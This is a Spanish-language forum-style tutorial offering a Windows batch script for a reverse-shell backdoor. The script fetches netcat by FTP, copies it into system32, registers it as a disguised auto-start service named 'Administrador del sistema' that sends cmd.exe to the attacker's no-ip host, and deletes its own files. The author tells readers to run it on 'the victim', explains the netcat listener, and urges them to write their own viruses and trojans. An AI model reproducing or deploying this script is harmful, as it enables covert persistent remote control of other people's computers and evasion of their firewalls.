Aca programe un simple Batch (.bat o .cmd) que realiza una conexion inversa, digamos ese pc se conecta a ti y no tu a el .. esto es para saltar firewalls y router, por que no es necesario realizar ninguna peticion a puertos o servicios en la maquina de la victima, por que de eso se encargan los firewalls y demas herramientas de seguridad .. bueno el codigo es sencillo:
@echo off
echo user usuario> ftpcmd.dat
echo password>> ftpcmd.dat
echo bin>> ftpcmd.dat
echo get nc.exe>> ftpcmd.dat
echo quit>> ftpcmd.dat
ftp -n -s:ftpcmd.dat ftp.servidor.com
move nc.exe %SystemRoot%\system32\nc.exe
sc create "Administrador del sistema" binpath= "%SystemRoot%\system32\nc.exe ip.no-ip.org puerto -e cmd.exe" error= "Critical" start= "auto"
del ftpcmd.dat
del mi.bat
lo guardas en .bat o .cmd y lo ejecutas en la victima .. esto es sencillo .. pero a medida que encuentres mas info sobre el tema te vas a ir especializando, la mayoria de virus o troyanos tienen el mismo principio de funcionamiento, este "script" en especial utiliza una herramienta muy conocida en el mundo de los hacker y los administradores de seguridad, es el famoso "NetCat", permite hacer una conexion remota o inversa en determinado puerto o escucha en determinado puerto.
Para que funcione este script tienes que conseguir algun hosting ftp o levantar el tuyo, guardar el netcat y configurar los datos de conexion en el "batch", estos datos no son màs que el host (direccion del dominio) el user y la contraseña.
una vez que consigues configurar el batch lo primero que tienes que hacer es poner en tu pc el netcat en un puerto a la escucha .. el comando es el siguiente:
c:\netcat.exe -lvvvv 6000
(6000 puerto, elige el tuyo y si tienes router abrelo, o busca info sobre el DMZ).
donde la opcion -l es listening .. (esperando, escuchar) y v es opcion "verbose" digamos detalles de la conexiòn, de lo contrario no tendrias ningun detalle en pantalla, con esta opcion muestra el ip y demas info del cliente o "victima".
ahi tienes una shell (consola de comandos, terminal) de la victima para realizar lo necesario, pues los comandos son los archi conocidos (windows) COPY, MOVE, RENAME, DEL ..
este netcat trae otras opciones, no hay mas que leerlas con el comando netcat
-h.
a mi me gustan los sistemas operativos parecidos a unix, digamos linux, bsd etc .. estos ya incorporan determinadas herramientas como el netcat o tambien conocido nc.exe, no te preocupes todos los sistemas operativos tienen sus propias herramientas y no difieren mucho en su funcionalidad, cada uno se adapta a sus ingenieros.
si quieres ver un sistema hacker a lo grande, descargate el backtrack y grabalo en un DVD, luego clonalo en un USB-PEN o pendrive y curiosea con el, ademàs en internet hay suficiente informaciòn como para tener una vista del cuadro grande (hacker).
luego estas listo para programar tus propios virus y troyanos con tus propios exigencias, funcionalidad etc .. por ejemplo usar determinado lenguaje o funcionamiento interno del virus y el troyano.
Saludos!